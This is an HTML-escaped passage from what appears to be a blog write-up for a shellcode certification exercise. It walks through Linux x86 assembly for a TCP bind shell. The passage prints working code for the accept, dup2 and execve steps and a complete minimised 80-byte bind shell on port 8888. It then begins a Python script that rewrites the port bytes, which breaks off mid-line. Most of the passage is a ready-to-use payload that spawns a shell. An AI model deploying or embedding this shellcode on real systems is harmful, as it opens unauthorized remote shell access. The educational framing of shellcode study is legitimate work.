/&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;xor ebx,ebx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Clearing EBX&lt;br /&gt;mul ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Clearing EAX&lt;br /&gt;push esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; 0&lt;br /&gt;push esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; 0 &lt;br /&gt;push edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Sockfd&lt;br /&gt;mov al,102&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Socketcall&lt;br /&gt;mov bl,5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; accept&lt;br /&gt;mov ecx,esp&amp;nbsp;&amp;nbsp; ; moving pointer to {sockfd,0,0} to ECX&lt;br /&gt;int 0x80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Generating interrupt&lt;/blockquote&gt;Pretty straightforward! We are putting the value 0 for sockadd* and socklen_t while having the sockfd pushed through EDI. We just set up this call using 5(accept) in EBX. The final segment of the code contains two crucial system calls which are dup2 and execve. Let&#39;s see the code fragment:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC61&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;xchg&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; &lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC62&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;xor&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; Clearing ECX&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC63&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;cl&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; Moving 2 to ECX&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC64&quot;&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC65&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;:  &lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC66&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;63&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; Calling DUP2&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC67&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;0x80&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; Calling Interrupt&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC68&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;dec&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt;  ; Dec ECX&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC69&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; jns &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; Jump to loop till SF not set &lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC70&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt;done:&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC71&quot;&gt;&lt;span class=&quot;pl-c&quot;&gt; ;EXECVE&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC72&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;xor&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC73&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; 0&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC74&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;0x68732f2f&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; //sh&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC75&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;0x6e69622f&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; /bin&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC76&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; Pointer to Structures in Stack(Top)&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC77&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; 0 to ECX&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC78&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; 0 to EDX&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC79&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; EXECVE CALL&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;0x80&lt;/span&gt;&lt;span class=&quot;pl-c&quot;&gt; ; Interrupt&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;We simply exchange the result to EBX from EAX which held the result from the last system call. Next, we cleared ECX and moved value 2 into it. We did this because of&amp;nbsp; 3 distinct values of descriptors for which we will call dup2. Next, we issue dup2 call denoted by 63 in a loop till ECX becomes 0 and Finally, we push null terminated /bin//sh and point it to EBX:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-5Ie8KMGeAtE/Wkdq4GGe_EI/AAAAAAAABw4/BqL6UEDf8woXajNBh4WVec1UXxpVOZNpgCLcBGAs/s1600/Screenshot%2B2017-12-30%2B15.57.48.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;441&quot; data-original-width=&quot;899&quot; height=&quot;312&quot; src=&quot;https://2.bp.blogspot.com/-5Ie8KMGeAtE/Wkdq4GGe_EI/AAAAAAAABw4/BqL6UEDf8woXajNBh4WVec1UXxpVOZNpgCLcBGAs/s640/Screenshot%2B2017-12-30%2B15.57.48.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Next, we clear out ECX and EDX using 0 from EAX. We move call number 11(EXECVE) to EAX and issue the interrupt. Let&#39;s extract the shellcode from the program as follows:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-reMtNQ3Ckmg/WkdvFRJ6OQI/AAAAAAAABxE/G_XVp28Y71IknLISkZWilyc7SztR68M0gCLcBGAs/s1600/Screenshot%2B2017-12-30%2B16.05.03.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;330&quot; data-original-width=&quot;675&quot; height=&quot;312&quot; src=&quot;https://3.bp.blogspot.com/-reMtNQ3Ckmg/WkdvFRJ6OQI/AAAAAAAABxE/G_XVp28Y71IknLISkZWilyc7SztR68M0gCLcBGAs/s640/Screenshot%2B2017-12-30%2B16.05.03.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Compiling the C program and running the shellcode, we can see that it works flawlessly:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-04BmU6oHO6w/WkdvlwIcMiI/AAAAAAAABxM/X9AFgDGWpLErJRfMYGHpOv5s5a8sWQjgwCLcBGAs/s1600/Screenshot%2B2017-12-30%2B16.17.24.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;274&quot; data-original-width=&quot;882&quot; height=&quot;198&quot; src=&quot;https://2.bp.blogspot.com/-04BmU6oHO6w/WkdvlwIcMiI/AAAAAAAABxM/X9AFgDGWpLErJRfMYGHpOv5s5a8sWQjgwCLcBGAs/s640/Screenshot%2B2017-12-30%2B16.17.24.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Everything works flawlessly here. &lt;span style=&quot;background-color: yellow;&quot;&gt;&lt;b&gt;The final version of the code can be obtained at:&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-1&quot;&gt;https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We have a NULL free shellcode. However, the length of the shellcode is something which bothers me. A valid shellcode should be as small as possible, and 108 bytes just doesn&#39;t seem to fit in that definition. I have tweaked the code to make it smaller &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;(80 Bytes)&lt;/b&gt;&lt;/span&gt; using the following set of techniques:&lt;br /&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Register Re-Use&lt;/li&gt;&lt;li&gt;Making use of PUSH - POP Instructions&lt;/li&gt;&lt;li&gt;Using Single Byte Instructions&lt;/li&gt;&lt;li&gt;XCGG Instructions and many more&lt;/li&gt;&lt;/ul&gt;The final minimalistic shellcode is as follows:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;global _start&lt;br /&gt;&lt;br /&gt;section .text&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt;&lt;br /&gt;; SYS_SOCKET&lt;br /&gt;push 0x66&lt;br /&gt;pop eax  &lt;br /&gt;cdq&lt;br /&gt;push ebx&lt;br /&gt;inc ebx&lt;br /&gt;push ebx&lt;br /&gt;push 0x2&lt;br /&gt;mov ecx,esp&lt;br /&gt;int 0x80&lt;br /&gt;&lt;br /&gt;; SYS_BIND&lt;br /&gt;pop ebx&lt;br /&gt;pop esi&lt;br /&gt;push edx&lt;br /&gt;push word 0xb822&lt;br /&gt;push edx&lt;br /&gt;push byte 0x02&lt;br /&gt;push 0x10&lt;br /&gt;push ecx&lt;br /&gt;push eax&lt;br /&gt;mov ecx,esp&lt;br /&gt;mov al,0x66&lt;br /&gt;int 0x80&lt;br /&gt;&lt;br /&gt;; SYS_LISTEN&lt;br /&gt;pop edx&lt;br /&gt;pop eax&lt;br /&gt;xor eax,eax&lt;br /&gt;push eax&lt;br /&gt;push edx&lt;br /&gt;cdq&lt;br /&gt;mov bl,0x4&lt;br /&gt;mov al,0x66&lt;br /&gt;int 0x80&lt;br /&gt;&lt;br /&gt;; SYS_ACCEPT&lt;br /&gt;inc ebx&lt;br /&gt;mov al,0x66&lt;br /&gt;int 0x80&lt;br /&gt;&lt;br /&gt;; DUP2&lt;br /&gt;xchg eax, ebx&lt;br /&gt;pop ecx&lt;br /&gt;loop:&lt;br /&gt; mov al,63&lt;br /&gt; int 0x80&lt;br /&gt; dec ecx&lt;br /&gt; jns loop&lt;br /&gt;done:&lt;br /&gt; push eax&lt;br /&gt; push 0x68732f2f&lt;br /&gt; push 0x6e69622f&lt;br /&gt; mov ebx,esp&lt;br /&gt; push eax&lt;br /&gt; mov ecx,esp&lt;br /&gt; mov al,0xb ; EXECVE CALL&lt;br /&gt; int 0x80&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&amp;nbsp;Additionally, since we know that the port 8888 is denoted in the shellcode using &lt;b&gt;&quot;\x22\xb8&quot;&lt;/b&gt; bytes, we can simply build a generator script in python which will replace these bytes with the bytes of some other port and make the shellcode to change the port on the fly:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC1&quot;&gt;&lt;span class=&quot;pl-c&quot;&gt;&lt;span class=&quot;pl-c&quot;&gt;#&lt;/span&gt;!/usr/bin/python&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC2&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;import&lt;/span&gt; sys&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC3&quot;&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC4&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;Stub File:&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;+&lt;/span&gt;sys.argv[&lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;]&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC5&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;Port Used:&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;+&lt;/span&gt;sys.argv[&lt;span class=&quot;pl-c1&quot;&gt;2&lt;/span&gt;]&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC6&quot;&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC7&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;open&lt;/span&gt;(sys.argv[&lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;]&lt;span class=&quot;pl-k&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;.c&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;rb&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;) &lt;span class=&quot;pl-k&quot;&gt;as&lt;/span&gt; f:&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC8&quot;&gt;contents &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; f.readlines()&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC9&quot;&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC10&quot;&gt;port &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;hex&lt;/span&gt;(&lt;span class=&quot;pl-c1&quot;&gt;int&lt;/span&gt;(sys.argv[&lt;span class=&quot;pl-c1&quot;&gt;2&lt;/span&gt;])).split(&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;x&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;)[&lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;]&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC11&quot;&gt;fh, sh &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; port[:&lt;span class=&quot;pl-c1&quot;&gt;2&lt;/span&gt;],port[&lt;span class=&quot;pl-c1&quot;&gt;2&lt;/span&gt;:]&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC12&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;len&lt;/span&gt;(fh) &lt;span class=&quot;pl-k&quot;&gt;==&lt;/span&gt; &lt;span 